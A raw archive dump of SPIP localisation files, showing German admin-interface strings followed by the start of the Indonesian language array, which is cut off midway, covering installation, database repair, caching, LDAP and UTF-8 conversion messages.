'texte_en_cours_validation' => 'Die folgenden Einträge sind zur Veröffentlichung vorgeschlagen.',
'texte_enrichir_mise_a_jour' => 'Sie können Ihren Text ansprechend gestalten, indem Sie die typografischen Abkürzungen verwenden.',
'texte_fichier_authent' => '<b>Soll SPIP die Dateien <tt>.htpasswd</tt> und <tt>.htpasswd-admin</tt> im Verzeichnis @dossier@ anlegen?</b><p>
Mit diesen Dateien können Sie den Zugang zu anderen Bereichen Ihrer Website (z.B. externe Logfile-Auswertungen) auf Redakteure und Administratoren beschränken.</p><p>Wenn Sie diese Möglickeit nicht nutzen, könnn Sie hier die Grundeinstellung (Dateien werden nicht angelegt) beibehalten.</p>', # MODIF
'texte_informations_personnelles_1' => 'Das System wird nun persönliche Zugangsdaten für Sie anlegen.',
'texte_informations_personnelles_2' => '(Hinweis: Wenn Sie die Site erneut installieren, und Ihre Zugangsdaten funktionieren, können Sie',
'texte_introductif_article' => '(Einleitender Text des Artikels.)',
'texte_jeu_caractere' => 'Es empfiehlt sich, das Universalalphabet (<tt>utf-8</tt>) für ihre Website zu verwenden. Es ermöglicht die Darstellung der Zeichen aller Sprachen und wird nunmehr von allen modernen Webbrowsern unterstützt.',
'texte_jeu_caractere_2' => 'Achtung: Diese Einstellung bewirkt keine Konvertierung der bereits gespeicherten Texte.',
'texte_jeu_caractere_3' => 'Ihre Website verwendet zur Zeit den Zeichensatz:',
'texte_jeu_caractere_4' => 'Wenn das nicht mit den Erfordernissen ihrer Daten übereinstimmt (z.B. nach der Wiederherstellung einer Datensicherung), oder wenn sie die Website neu einrichten und einen anderen Zeichernsatz verwenden möchten, stellen sie ihn bitte hier ein:',
'texte_jeu_caractere_conversion' => 'Anmerkung: Wenn sie die texte Ihrer Website endgültig nach <tt>utf-8</tt> umstellen möchten, verwenden sie bitte <a href="@url@">die Seite zur Konvertierung nach utf-8</a>.',
'texte_lien_hypertexte' => '(Wenn sich Ihr Beitrag auf einen Artikel im WWW bezieht oder es eine Seite mit Zusatzinformationen gibt, geben Sie bitte die Bezeichnung der Seite und ihren URL an.)',
'texte_login_ldap_1' => '(Keine Angabe bzw. vollständiger Pfad, z.B. „<tt>uid=meier, ou=mitglieder, dc=MeineDomäne, dc=com</tt>“.)',
'texte_login_precaution' => 'Achtung! Sie sind zur Zeit mit diesem Namen angemeldet. Bitte verwenden Sie diese Seite mit der erforderlichen Vorsicht.',
'texte_message_edit' => 'Achtung! Diese Nachricht kann von allen Administratoren der Website bearbeitet werden und ist für alle Redakteure sichtbar. Verwenden Sie Ankündigungen nur für wichtige Ereignisse, die alle Teilnehmer kennen müssen.',
'texte_messagerie_agenda' => 'Mit dem Nachrichtensystem können Redakteure im Redaktionsbereich direkt miteinander kommunizieren. Es ist mit einem Kalender verbunden.',
'texte_mise_a_niveau_base_1' => 'Sie haben den Programmcode von SPIP aktualisiert. Jetzt muss die Datenbank aktualisiert werden.',
'texte_modifier_article' => 'Artikel bearbeiten:',
'texte_moteur_recherche_active' => '<b>Die integrierte Suchmaschine ist eingeschaltet.</b> Damit können Sie eine erneute Erfassung aller Seiten erzwingen, wenn Sie z.B. wesentliche Änderungen am Inhalt und Layout Ihrer Site gemacht haben oder eine Sicherungskopie eingespielt haben. Dokumente, die im SPIP Redaktionssystem eingegeben werden, erfasst die Suchmaschine automatisch. Sie benötigen diese Funktion deshalb nur in Ausnahmefällen.',
'texte_moteur_recherche_non_active' => 'Suchmaschine ist abgeschaltet.',
'texte_multilinguisme' => 'Wenn Sie Artikel in mehreren Sprachen mit entsprecher komplexer Navigation verwalten möchten, können Sie den Rubriken und/oder den Artikeln ein Menü zur Sprachauswahl hinzufügen. Diese Funktion ist abhängig von der Struktur Ihrer Website.',
'texte_multilinguisme_trad' => 'Sie können ein System zur automatischen Verlinkung der verschiedenen Sprachversionen von Objekten aktivieren.',
'texte_non_compresse' => '<i>unkomprimiert</i> (ihr Server unterstützt diese Funktion nicht)',
'texte_nouveau_message' => 'Neue Nachricht',
'texte_nouvelle_version_spip_1' => 'Sie haben eine neue Version von SPIP installiert.',
'texte_nouvelle_version_spip_2' => 'Diese neue Version erfordert eine weiter gehende Aktualisierung Ihres Systems als gewöhnlich. Wenn Sie Webmaster dieser Site sind, löschen Sie bitte die Datei @connect@ und setzen Sie die Installation fort, indem Sie die Verbindungsdaten zur Datenbank neu eingeben.<p>(Tipp: Sollten Sie Ihre Verbindungsdaten vergessen haben, schauen Sie in der Datei @connect@ nach, bevor Sie sie löschen ...)</p>',
'texte_operation_echec' => 'Gehen Sie zur vorigen Seite zurück und wählen Sie eine andere Datenbank aus bzw. legen Sie eine neue an. Überprüfen Sie die Angaben Ihres Providers.',
'texte_plus_trois_car' => 'mehr als 3 Zeichen',
'texte_plusieurs_articles' => 'Mehrere Autoren für „@cherche_auteur@“ gefunden:',
'texte_port_annuaire' => '(Der Standardwert kann meistens beibehalten werden.)',
'texte_presente_plugin' => 'Diese Seite zeigt eine Liste der auf dieser Website verfügbaren Plugins. Sie können sie aktivieren, indem sie die entsprechenden Einträge mit einem Häkchen merkieren.',
'texte_proposer_publication' => 'Wenn Ihr Artikel fertig ist,<br /> können Sie ihn zur Veröffentlichung vorschlagen.',
'texte_proxy' => 'In manchen Fällen (Intranet, Rechner hinter einer Firewall...),
kann ein <i>HTTP-Proxy</i> erforderlich sein, um die syndizierten Websites zu erreichen.
In diesem Fall geben Sie seine Adresse im Format
<tt><html>http://proxy:8080</html></tt>. an.
Meistens kann dieses Feld aber leer bleiben.',
'texte_publication_articles_post_dates' => 'Wie soll SPIP Artikel behandeln, deren Erscheinungsdatum in die Zukunft gelegt wurde?',
'texte_rappel_selection_champs' => '[Vergessen Sie nicht, dieses Feld korrekt auszufüllen.]',
'texte_recalcul_page' => 'Wenn Sie nur eine einzelne Seite aktualisieren wollen, verwenden Sie besser den Schalter „Seite aus Cache löschen“.',
'texte_recapitiule_liste_documents' => 'Diese Seite enthält eine Liste der Dokumente, die Sie in Rubriken eingeordnet haben. Um die Angaben zu den Dokumenten zu bearbeiten, benutzen Sie bitte den Link zur jeweiligen Rubrik.',
'texte_recuperer_base' => 'Datenbank reparieren',
'texte_reference_mais_redirige' => 'Artikel Ihrer Website, der eine Umleitung zu einem anderen URL enthält.',
'texte_requetes_echouent' => '<b>Wenn manche SQL-Befehle ohne ersichtlichen Grund systematisch fehlschlagen, kann es an einer beschädigten Datenbank liegen.</b><p>
SQL kann Tabellen reparieren, die beschädigt worden sind. Starten Sie hier einen Reparaturversuch. Sollte das fehlschlagen, notieren Sie bitte die Fehlermeldung, die u.U. einen Hinweis auf die Ursache des Problems gibt ...<p>
Wenn das Problem weiter besteht, nehmen Sie bitte Kontakt mit Ihrem Provider auf.<p>',
'texte_selection_langue_principale' => 'Hier können Sie die «Hauptsprache» der Website auswählen. Das zwingt Sie - zum Glück - nicht, Ihre Artikel in dieser Sprache zu schreiben, sondern ermöglicht:
<ul><li> das Format der Datumsanzeige einzustellen;</li>
<li> die Art der typografischen Korrekturen von SPIP zu bestimmen;</li>
<li> über die Sprachversion der eingebauten Formulare zu entscheiden;</li>
<li> die Standardsprache des Redaktionssystems zu verändern.</li></ul>',
'texte_sous_titre' => 'Untertitel',
'texte_statistiques_visites' => '(dunkle Balken : Sonntag / dunkle Kurve : Entwicklung der Durchschnittswerte)',
'texte_statut_attente_validation' => 'vorgeschlagen',
'texte_statut_publies' => 'veröffentlicht',
'texte_statut_refuses' => 'abgelehnt',
'texte_suppression_fichiers' => 'Benutzen Sie diesen Befehl, um alle Dateien aus dem Zwischenspeicher von SPIP zu löschen. Damit können Sie eine erneute Berechnung aller Seiten erzwingen, wenn Sie z.B. wesentliche Änderungen am Inhalt und Layout Ihrer Site gemacht haben. ',
'texte_sur_titre' => 'Einleitender Titel',
'texte_table_ok' => ': Tabelle OK.',
'texte_tables_indexation_vides' => 'Indextabellen der Suchmaschine sind leer.',
'texte_tentative_recuperation' => 'Reparaturversuch',
'texte_tenter_reparation' => 'Reparatur der Datenbank versuchen',
'texte_test_proxy' => 'Um den Proxy zu testen, geben Sie hier die Adresse einer gewünschten Website ein.',
'texte_titre_02' => 'Titel:',
'texte_titre_obligatoire' => '<b>Titel</b> [obligatorisch]',
'texte_travail_article' => '@nom_auteur_modif@ hat diesen Artikel vor @date_diff@ Minuten bearbeitet',
'texte_travail_collaboratif' => 'Wenn es öfter vorkommt, dass mehrere Redakteure gemeinsam an Artikeln arbeiten, kann SPIP die vor kurzem „geöffneten“ Artikel anzeigen, um gleichzeitige Änderungen vorzubeugen. Diese Funktion ist normalerweise abgeschaltet, um störende Meldungen zu reduzieren.',
'texte_trop_resultats_auteurs' => 'Zu viele Ergebnisse für „@cherche_auteur@“. Bitte präzisieren Sie Ihre Suchanfrage.',
'texte_unpack' => 'neue Version laden.',
'texte_utilisation_moteur_syndiques' => 'Wenn Sie die Suchmaschine von SPIP einsetzen,
können Sie syndizierte Artikel und Websites auf zwei Arten behandeln. <br />- Im einfachsten Fall werden nur Titel und Beschreibung der Artikel durchsucht. <br />-
Die zweite, wesentlich leistungsfähigere Methode erlaubt es, auch den Text der
syndizierten Websites zu durchsuchen. Wenn Sie eine Website verlinken, erfasst SPIP vollautomatisch den Inhalt der Website selber. ',
'texte_utilisation_moteur_syndiques_2' => 'Diese Methode zwingt SPIP, die verlinkten Websites in regelmässigen Abständen abzurufen, wodurch Ihre Website etwas langsamer werden kann.',
'texte_vide' => 'leer',
'texte_vider_cache' => 'Cache leeren',
'titre_admin_effacer' => 'Wartung',
'titre_admin_tech' => 'Wartung',
'titre_admin_vider' => 'Wartung',
'titre_ajouter_un_auteur' => 'Autor hinzufügen',
'titre_ajouter_un_mot' => 'Schlagwort hinzufügen',
'titre_ajouter_une_rubrique' => 'Eine Rubrik hinzufügen',
'titre_cadre_afficher_article' => 'Artikel anzeigen',
'titre_cadre_afficher_traductions' => 'Stand der Übersetzungen für diese Sprachen anzeigen',
'titre_cadre_ajouter_auteur' => 'AUTOR HINZUFÜGEN: ',
'titre_cadre_interieur_rubrique' => 'In der Rubrik',
'titre_cadre_numero_auteur' => 'AUTOR NUMMER',
'titre_cadre_numero_objet' => '@objet@ Nummer:',
'titre_cadre_signature_obligatoire' => '<b>Unterschrift</b> [obligatorisch]<br />',
'titre_config_contenu_notifications' => 'Benachrichtigungen',
'titre_config_contenu_prive' => 'Im Redaktionsbereich',
'titre_config_contenu_public' => 'Auf der öffentlichen Website',
'titre_config_fonctions' => 'Website konfigurieren',
'titre_config_langage' => 'Sprache einstellen',
'titre_configuration' => 'Website konfigurieren',
'titre_configurer_preferences' => 'Ihre Einstellungen',
'titre_conflit_edition' => 'Bearbeitungskonflikt',
'titre_connexion_ldap' => 'Optionen: <b>LDAP-Verbindung</b>',
'titre_groupe_mots' => 'KATEGORIE:',
'titre_identite_site' => 'Name der Website', # "Identité du site" war "Identität der Website", jetzt "Name der Website", auch möglich "Websitebezeichnung" o.ä.
'titre_langue_article' => 'Sprache des Artikels',
'titre_langue_rubrique' => 'Sprache der Rubrik',
'titre_langue_trad_article' => 'SPRACHE UND ÜBERSETZUNGEN DES ARTIKELS',
'titre_les_articles' => 'ARTIKEL',
'titre_messagerie_agenda' => 'Nachrichten und Kalender',
'titre_naviguer_dans_le_site' => 'Sitenavigation ...',
'titre_nouvelle_rubrique' => 'Neue Rubrik',
'titre_numero_rubrique' => 'RUBRIK NUMMER:',
'titre_page_admin_effacer' => 'Wartung: Datenbank löschen',
'titre_page_articles_edit' => 'Bearbeiten: @titre@',
'titre_page_articles_page' => 'Artikel',
'titre_page_articles_tous' => 'Ganze Website',
'titre_page_auteurs' => 'Besucher',
'titre_page_calendrier' => 'Kalender @nom_mois@ @annee@',
'titre_page_config_contenu' => 'Website konfigurieren',
'titre_page_config_fonctions' => 'Website konfigurieren',
'titre_page_configuration' => 'Website konfigurieren',
'titre_page_controle_petition' => 'Petitionen verwalten',
'titre_page_delete_all' => 'vollständig unwiderruflich löschen',
'titre_page_documents_liste' => 'Dokumente in Rubriken',
'titre_page_index' => 'Ihr Bereich',
'titre_page_message_edit' => 'Nachricht verfassen',
'titre_page_messagerie' => 'Ihr Nachrichtensystem',
'titre_page_recherche' => 'Ergebnisse der Suche nach @recherche@',
'titre_page_statistiques_referers' => 'Statistik (Referer)',
'titre_page_statistiques_signatures_jour' => 'Unterschriften pro Tag',
'titre_page_statistiques_signatures_mois' => 'Unterschriften pro Monat',
'titre_page_upgrade' => 'Aktualisierung von SPIP',
'titre_publication_articles_post_dates' => 'Veröffentlichung von vordatierten Artikeln',
'titre_referencer_site' => 'Website verlinken:',
'titre_rendez_vous' => 'TERMIN:',
'titre_reparation' => 'Reparatur',
'titre_suivi_petition' => 'Petitionen verwalten',
'tls_ldap' => 'Transport Layer Security:',
'trad_article_inexistant' => 'Es gibt keinen Artikel mit dieser Nummer.',
'trad_article_traduction' => 'Alle Fassungen dieses Artikels:',
'trad_deja_traduit' => 'Fehler: Dieser Artikel kann nicht mit der gewünschten Nummer verknüpft werden.',
'trad_delier' => 'Nicht mehr mit diesen Übersetzungen verbinden',
'trad_lier' => 'Dieser Artikel ist eine Übersetzung des Artikels Nummer ',
'trad_new' => 'Neue Übersetzung beginnen',
// U
'upload_info_mode_document' => 'Bild im Portfolio ablegen',
'upload_info_mode_image' => 'Bild aus dem Portfolio entfernen',
'utf8_convert_attendez' => 'Warten sie einen Augenblick und laden sie diese Seite erneut.',
'utf8_convert_avertissement' => 'Sie werden ihre Datenbank (Artikel, Meldungen, etc.) vom Zeichensatz <b>@orig@</b> nach <b>@charset@</b> zu konvertieren.',
'utf8_convert_backup' => 'Vergessen sie nicht, zunächst eine Sicherung ihrer Website anzulegen. Sie sollten ebenfalls überprüfen, ob ihre Skelette und Sprachdateien zum Zeichensatz @charset@ kompatibel sind.',
'utf8_convert_erreur_deja' => 'Ihre website verwendet bereits den zeichensatz @charset@. Die Konvertierung ist überflüssig.',
'utf8_convert_erreur_orig' => 'Fehler: Der Zeichensatz @charset@ wird nicht unterstützt.',
'utf8_convert_termine' => 'Fertig!',
'utf8_convert_timeout' => '<b>Wichtig:</b> Im Falle eines <i>timeout</i> des Servers, laden sie diese Seite so lange neu, bis «Fertig» angezeigt wird.',
'utf8_convert_verifier' => 'Sie müssen nun den Cache leeren und das Verhalten ihrer öffentlich zugänglichen Seiten überprüfen. Falls es ernste Probleme damit geben sollte, steht ihnen eine Sicherungskopie ihrer Daten (im SQL-Format) im Verzeichnis @rep@ zur Verfügung.',
'utf8_convertir_votre_site' => 'Website nach utf-8 konvertieren',
// V
'version' => 'Version:'
);
?>
ecrire_id.php 0000666 00000155065 15252547432 0007233 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/ecrire_?lang_cible=id
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// A
'activer_plugin' => 'Aktifkan plugin',
'aide_non_disponible' => 'Bagian dari bantuan online ini belum tersedia dalam bahasa pengantar yang digunakan sekarang.',
'auteur' => 'Penulis:',
'avis_acces_interdit' => 'Dilarang mengakses.',
'avis_article_modifie' => 'Perhatian, @nom_auteur_modif@ telah mengedit artikel ini @date_diff@ menit yang lalu',
'avis_aucun_resultat' => 'Tidak ditemukan hasil apa-apa.',
'avis_chemin_invalide_1' => 'Path yang telah anda pilih',
'avis_chemin_invalide_2' => 'sepertinya tidak benar. Silakan kembali ke halaman sebelumnya dan verifikasi informasi yang diberikan.',
'avis_connexion_echec_1' => 'Koneksi ke server SQL gagal.', # MODIF
'avis_connexion_echec_2' => 'Kembali ke halaman sebelumnya, dan verifikasi informasi yang anda telah berikan.',
'avis_connexion_echec_3' => '<b>Catatan:</b> Pada sejumlah server, anda harus <b>memohon</b> aktivasi akses ke database SQL sebelum anda dapat menggunakannya. Jika anda tidak berhasil mengakses database anda, pastikan anda telah mengajukan permohonan ini.', # MODIF
'avis_connexion_ldap_echec_1' => 'Koneksi ke server LDAP gagal.',
'avis_connexion_ldap_echec_2' => 'Kembali ke halaman sebelumnya, dan verifikasi informasi yang anda telah berikan.',
'avis_connexion_ldap_echec_3' => 'Alternatif lainnya, jangan gunakan dukungan LDAP untuk mengimpor pengguna.',
'avis_deplacement_rubrique' => 'Peringatan! Bagian ini mengandung @contient_breves@ berita@scb@: jika anda memindahkannya, silakan cek kotak ini untuk konfirmasi.',
'avis_destinataire_obligatoire' => 'Anda harus memilih satu orang penerima sebelum mengirimkan pesan ini.',
'avis_erreur_connexion_mysql' => 'Kesalahan koneksi SQL',
'avis_erreur_version_archive' => '<b>Peringatan! Berkas @archive@ berkaitan dengan
sebuah versi SPIP yang lain dengan yang anda
miliki.</b> Anda akan mengalami sejumlah
kesulitan: risiko untuk merusak database anda,
kejanggalan fungsional situs anda, dll. Jangan
kirim permohonan impor ini.<p>Untuk informasi
lebih lanjut, silakan lihat <a href="@spipnet@">
dokumentasi SPIP</a>.', # MODIF
'avis_espace_interdit' => '<b>Area terlarang</b><p>SPIP telah diinstal.',
'avis_lecture_noms_bases_1' => 'Sistem instalasi tidak dapat membaca nama-nama database yang terinstal.',
'avis_lecture_noms_bases_2' => 'Bisa jadi tidak ada database yang tersedia, atau fitur yang mengizinkan penampilan daftar database dinonaktifkan
dengan alasan keamanan (yang sering ditemui pada banyak hosting).',
'avis_lecture_noms_bases_3' => 'Jika alternatif kedua benar, sangat mungkin sebuah database dinamai sama dengan log masuk anda:',
'avis_non_acces_message' => 'Anda tidak memiliki akses ke pesan ini.',
'avis_non_acces_page' => 'Anda tidak memiliki akses ke halaman ini.',
'avis_operation_echec' => 'Operasi gagal.',
'avis_operation_impossible' => 'Operasi tidak mungkin dijalankn',
'avis_probleme_archive' => 'Kesalahan membaca pada berkas @archive@',
'avis_suppression_base' => 'PERINGATAN, data yang dihapus tidak dapat dikembalikan lagi',
'avis_version_mysql' => 'Versi SQL anda (@version_mysql@) tidak mengizinkan perbaikan otomatis tabel-tabel database.',
// B
'bouton_acces_ldap' => 'Tambah sebuah akses ke LDAP >>',
'bouton_ajouter' => 'Tambah',
'bouton_ajouter_participant' => 'TAMBAH SEORANG PESERTA:',
'bouton_annonce' => 'PENGUMUMAN',
'bouton_annuler' => 'Batal',
'bouton_checkbox_envoi_message' => 'kemungkinan untuk mengirimkan sebuah pesan',
'bouton_checkbox_indiquer_site' => 'Anda harus mengisi nama untuk sebuah situs web',
'bouton_checkbox_signature_unique_email' => 'hanya satu tanda tangan per alamat e-mail',
'bouton_checkbox_signature_unique_site' => 'hanya satu tanda tangan per situs web',
'bouton_demande_publication' => 'Permohonan publikasi artikel ini',
'bouton_desactive_tout' => 'Non aktifkan semua',
'bouton_effacer_index' => 'Hapus indeksasi',
'bouton_effacer_tout' => 'Hapus SEMUA',
'bouton_envoi_message_02' => 'KIRIM SEBUAH PESAN',
'bouton_envoyer_message' => 'Pesan terakhir: kirim',
'bouton_modifier' => 'Modifikasi',
'bouton_pense_bete' => 'MEMO PRIBADI',
'bouton_radio_activer_messagerie' => 'Aktifkan sistem pesan intern',
'bouton_radio_activer_messagerie_interne' => 'Aktifkan sistem pesan intern',
'bouton_radio_activer_petition' => 'Aktifkan petisi',
'bouton_radio_afficher' => 'Tampilkan',
'bouton_radio_apparaitre_liste_redacteurs_connectes' => 'Muncul di daftar editor-editor yang terkoneksi',
'bouton_radio_desactiver_messagerie' => 'Non aktifkan sistem pesan',
'bouton_radio_envoi_annonces_adresse' => 'Kirim pengumuman ke alamat:',
'bouton_radio_envoi_liste_nouveautes' => 'Kirim daftar berita terbaru',
'bouton_radio_non_apparaitre_liste_redacteurs_connectes' => 'Jangan muncul di daftar editor-editor yang terkoneksi',
'bouton_radio_non_envoi_annonces_editoriales' => 'Jangan kirim pengumuman editorial apapun juga',
'bouton_radio_pas_petition' => 'Tidak ada petisi',
'bouton_radio_petition_activee' => 'Petisi diaktifkan',
'bouton_radio_supprimer_petition' => 'Hapus petisi',
'bouton_redirection' => 'MENGALIHKAN TUJUAN ',
'bouton_relancer_installation' => 'Menjalankan instalasi kembali',
'bouton_suivant' => 'Selanjutnya',
'bouton_tenter_recuperation' => 'Usaha perbaikan',
'bouton_test_proxy' => 'Tes proxy',
'bouton_vider_cache' => 'Kosongkan cache',
'bouton_voir_message' => 'Lihat pesan sebelum divalidasi',
// C
'cache_mode_compresse' => 'Berkas-berkas cache disimpan dalam bentuk kompresi.',
'cache_mode_non_compresse' => 'Berkas-berkas cache ditulis dalam bentuk tidak terkompresi.',
'cache_modifiable_webmestre' => 'Parameter ini dapat dimodifikasi oleh webmaster.',
'calendrier_synchro' => 'Jika anda menggunakan aplikasi kalender yang kompatibel dengan <b>iCal</b>, anda dapat mensinkronisasikannya dengan informasi situs ini.',
'connexion_ldap' => 'Koneksi:',
'copier_en_local' => 'Kopi ke situs lokal',
// D
'date_mot_heures' => 'H',
// E
'email' => 'e-mail',
'email_2' => 'e-mail:',
'entree_adresse_annuaire' => 'Alamat direktori',
'entree_adresse_email' => 'Alamat e-mail anda',
'entree_base_donnee_1' => 'Alamat database',
'entree_base_donnee_2' => '(Sering kali, alamat ini sesuai dengan alamat situs anda, kadangkala ia berkaitan dengan nama «localhost», dan bisa juga dibiarkan tidak terisi sama sekali.)',
'entree_biographie' => 'Biografi singkat dalam beberapa kata.',
'entree_chemin_acces' => '<b>Isi</B> path:',
'entree_cle_pgp' => 'Kunci PGP anda',
'entree_contenu_rubrique' => '(Isi bagian dalam beberapa kata.)',
'entree_identifiants_connexion' => 'Pengidentifikasi koneksi anda...',
'entree_informations_connexion_ldap' => 'Silakan isi formulir ini dengan informasi koneksi LDAP. Anda akan memperoleh informasi yang diminta melalui administrator jaringan atau sistem anda.',
'entree_infos_perso' => 'Siapa anda?',
'entree_interieur_rubrique' => 'Dalam bagian:',
'entree_liens_sites' => '<b>Tautan web</B> (referensi, situs yang dapat dikunjungi...)',
'entree_login' => 'Log masuk anda',
'entree_login_connexion_1' => 'Log masuk koneksi',
'entree_login_connexion_2' => '(Kadang kala sesuai dengan log masuk akses FTP anda dan bisa jadi juga dibiarkan tidak terisi)',
'entree_login_ldap' => 'Log masuk awal LDAP',
'entree_mot_passe' => 'Kata sandi anda',
'entree_mot_passe_1' => 'Kata sandi koneksi',
'entree_mot_passe_2' => '(Kadang kala sesuai dengan kata sandi akses FTP anda dan bisa jadi juga dibiarkan tidak terisi)',
'entree_nom_fichier' => 'Silakan isi nama berkas @texte_compresse@:',
'entree_nom_pseudo' => 'Nama atau alias anda',
'entree_nom_pseudo_1' => '(Nama atau alias anda)',
'entree_nom_site' => 'Nama situs anda',
'entree_nouveau_passe' => 'Kata sandi baru',
'entree_passe_ldap' => 'Kata sandi',
'entree_port_annuaire' => 'Nomor port direktori',
'entree_signature' => 'Tanda tangan',
'entree_titre_obligatoire' => '<b>Judul</b> [Dibutuhkan]<br />',
'entree_url' => 'URL situs anda',
'erreur_plugin_fichier_absent' => 'Berkas hilang',
'erreur_plugin_fichier_def_absent' => 'Berkas definisi hilang',
'erreur_plugin_nom_fonction_interdit' => 'Nama fungsi yang dilarang',
'erreur_plugin_nom_manquant' => 'Nama plugin yang hilang',
'erreur_plugin_prefix_manquant' => 'Nama plugin tidak terdefinisi',
'erreur_plugin_tag_plugin_absent' => '<plugin> hilang dalam berkas definisi',
'erreur_plugin_version_manquant' => 'Versi plugin yang hilang',
// I
'ical_info1' => 'Halaman ini memberikan sejumlah metode untuk mengetahui dan berhubungan dengan aktivitas situs ini.',
'ical_info2' => 'Untuk informasi lebih lanjut, jangan segan-segan untuk mengunjungi <a href="@spipnet@">dokumentasi SPIP</a>.', # MODIF
'ical_info_calendrier' => 'Dua kalender berada di tangan anda siap untuk dipakai. Yang pertama adalah peta situs yang menampilkan semua artikel yang dipublikasi. Yang kedua berisikan pengumuman editorial sekaligus pesan-pesan pribadi terbaru anda: semuanya dapat disimpan berkat kunci pribadi yang bisa anda modifikasi setiap saat dengan jalan memperbaharui kata sandi.',
'ical_methode_http' => 'Mengunduh',
'ical_methode_webcal' => 'Sinkronisasi (webcal://)',
'ical_texte_js' => 'Sebuah kode javascript mengizinkan anda untuk menampilkan secara mudah dan di setiap situs yang anda miliki, semua artikel terbaru yang dipublikasikan di situs ini.',
'ical_texte_prive' => 'Kalender ini, yang sifatnya pribadi sekali, menginformasikan anda seluruh aktivitas editorial pribadi situs ini (tugas-tugas, janji-janji pribadi, artikel-artikel dan berita-berita yang dikirimkan...).',
'ical_texte_public' => 'Kalender ini memperbolehkan anda mengikuti aktivitas umum situs ini (artikel-artikel dan berita-berita yang dipublikasi).',
'ical_texte_rss' => 'Anda dapat mensindikasi berita-berita terbaru situs ini melalui pembaca berkas XML/RSS (Rich Site Summary) apa saja. Ini juga merupakan format yang mengizinkan SPIP untuk membaca berita-berita terbaru yang dipublikasi oleh situs-situs lainnya menggunakan format yang kompatibel (situs-situs tersindikasi).',
'ical_titre_js' => 'Javascript',
'ical_titre_mailing' => 'Daftar Surat',
'ical_titre_rss' => 'Berkas-berkas sindikasi',
'icone_activer_cookie' => 'Meletakkan sebuah cookie',
'icone_admin_plugin' => 'Mengelola plugin',
'icone_afficher_auteurs' => 'Tampilkan penulis',
'icone_afficher_visiteurs' => 'Tampilkan pengunjung',
'icone_arret_discussion' => 'Berhenti berpartisipasi dalam diskusi ini',
'icone_calendrier' => 'Kalender',
'icone_creer_auteur' => 'Buat seorang penulis baru dan asosiasikan dia dengan artikel ini',
'icone_creer_mot_cle' => 'Buat sebuah kata kunci baru dan tautkan ia ke artikel ini',
'icone_creer_rubrique_2' => 'Buat sebuah bagian baru',
'icone_envoyer_message' => 'Kirim pesan ini',
'icone_modifier_article' => 'Modifikasi artikel ini',
'icone_modifier_message' => 'Modifikasi pesan ini',
'icone_modifier_rubrique' => 'Modifikasi bagian ini',
'icone_retour' => 'Kembali',
'icone_retour_article' => 'Kembali ke artikel',
'icone_supprimer_cookie' => 'Hapus cookie',
'icone_supprimer_rubrique' => 'Hapus bagian ini',
'icone_supprimer_signature' => 'Hapus tanda tangan ini',
'icone_valider_signature' => 'Validasi tanda tangan ini',
'image_administrer_rubrique' => 'Anda dapat mengelola bagian ini',
'info_1_article' => '1 artikel',
'info_1_site' => '1 situs',
'info_activer_cookie' => 'Anda apat mengaktifkan <b>cookie administrasi</b>, yang memperbolehkan anda
untuk berpindah-pindah dengan mudah antara situs umum dan area pribadi.',
'info_admin_gere_rubriques' => 'Administrator ini mengelola bagian-bagian berikut:',
'info_admin_gere_toutes_rubriques' => 'Administrator ini mengelola <b>semua bagian</b>.', # MODIF
'info_administrateur' => 'Administrator',
'info_administrateur_1' => 'Administrator',
'info_administrateur_2' => 'situs (<i>gunakan dengan penuh kehati-hatian</i>)',
'info_administrateur_site_01' => 'Jika anda adalah seorang administrator situs, silakan',
'info_administrateur_site_02' => 'klik tautan ini',
'info_administrateurs' => 'Administrator',
'info_administrer_rubrique' => 'Anda dapat mengelola bagian ini',
'info_adresse' => 'ke alamat:',
'info_adresse_url' => 'URL situs umum anda',
'info_afficher_visites' => 'Tampilkan kunjungan untuk:',
'info_aide_en_ligne' => 'Bantuan Online SPIP',
'info_ajout_image' => 'Ketika anda menambahkan gambar sebagai lampiran pada sebuah artikel,
SPIP dapat secara otomatis membuat gambar kecil dari
gambar yang dimasukkan. Ini bermanfaat ,sebagai contoh, untuk membuat
sebuah galeri gambar atau portfolio.',
'info_ajout_participant' => 'Peserta berikut telah ditambahkan:',
'info_ajouter_rubrique' => 'Tambah sebuah bagian untuk dikelola:',
'info_annonce_nouveautes' => 'Pengumuman-pengumuman berita terbaru',
'info_anterieur' => 'sebelumnya',
'info_article' => 'artikel',
'info_article_2' => 'artikel',
'info_article_a_paraitre' => 'Artikel-artikel bertanggal yang akan dipublikasikan',
'info_articles_02' => 'Artikel',
'info_articles_2' => 'Artikel',
'info_articles_auteur' => 'Artikel-artikel penulis ini',
'info_articles_trouves' => 'Artikel ditemukan',
'info_articles_trouves_dans_texte' => 'Artikel ditemukan (dalam teks)',
'info_attente_validation' => 'Validasi tertunda artikel-artikel anda',
'info_aujourdhui' => 'hari ini:',
'info_auteur_message' => 'PENGIRIM PESAN:',
'info_auteurs' => 'Penulis',
'info_auteurs_par_tri' => 'Penulis@partri@',
'info_auteurs_trouves' => 'Penulis ditemukan',
'info_authentification_externe' => 'Ototentikasi eksternal',
'info_avertissement' => 'Peringatan',
'info_base_installee' => 'Struktur database anda telah diinstal.',
'info_chapeau' => 'Dek',
'info_chapeau_2' => 'Introduksi:',
'info_chemin_acces_1' => 'Pilihan: <b>Path akses dalam direktori</b>',
'info_chemin_acces_2' => 'Mulai sekarang, anda harus mengkonfigurasi path akses ke informasi direktori. Informasi ini penting untuk membaca profil pengguna yang disimpan dalam direktori.',
'info_chemin_acces_annuaire' => 'Pilihan: <b>Path akses dalam direktori</B>',
'info_choix_base' => 'Langkah ketiga:',
'info_classement_1' => ' dari @liste@',
'info_classement_2' => ' dari @liste@',
'info_code_acces' => 'Jangan lupa kode akses anda!',
'info_config_suivi' => 'Jika alamat ini berkaitan dengan suatu daftar surat, anda dapat mengindikasikan di bawah alamat di mana pengunjung situs dapat mendaftarkan diri. Alamat ini dapat berupa URL (sebagai contoh halaman registrasi daftar surat melalui web), atau alamat e-mail dengan subyek yang spesifik (contoh: <tt>@adresse_suivi@?subject=subscribe</tt>):',
'info_config_suivi_explication' => 'Anda dapat berlangganan daftar surat situs ini. Anda akan menerima melalui e-mail secara otomatis, pengumuman-pengumuman yang berkenaan dengan artikel-artikel dan berita-berita yang dikirim untuk publikasi.',
'info_confirmer_passe' => 'Konfirmasi kata sandi baru:',
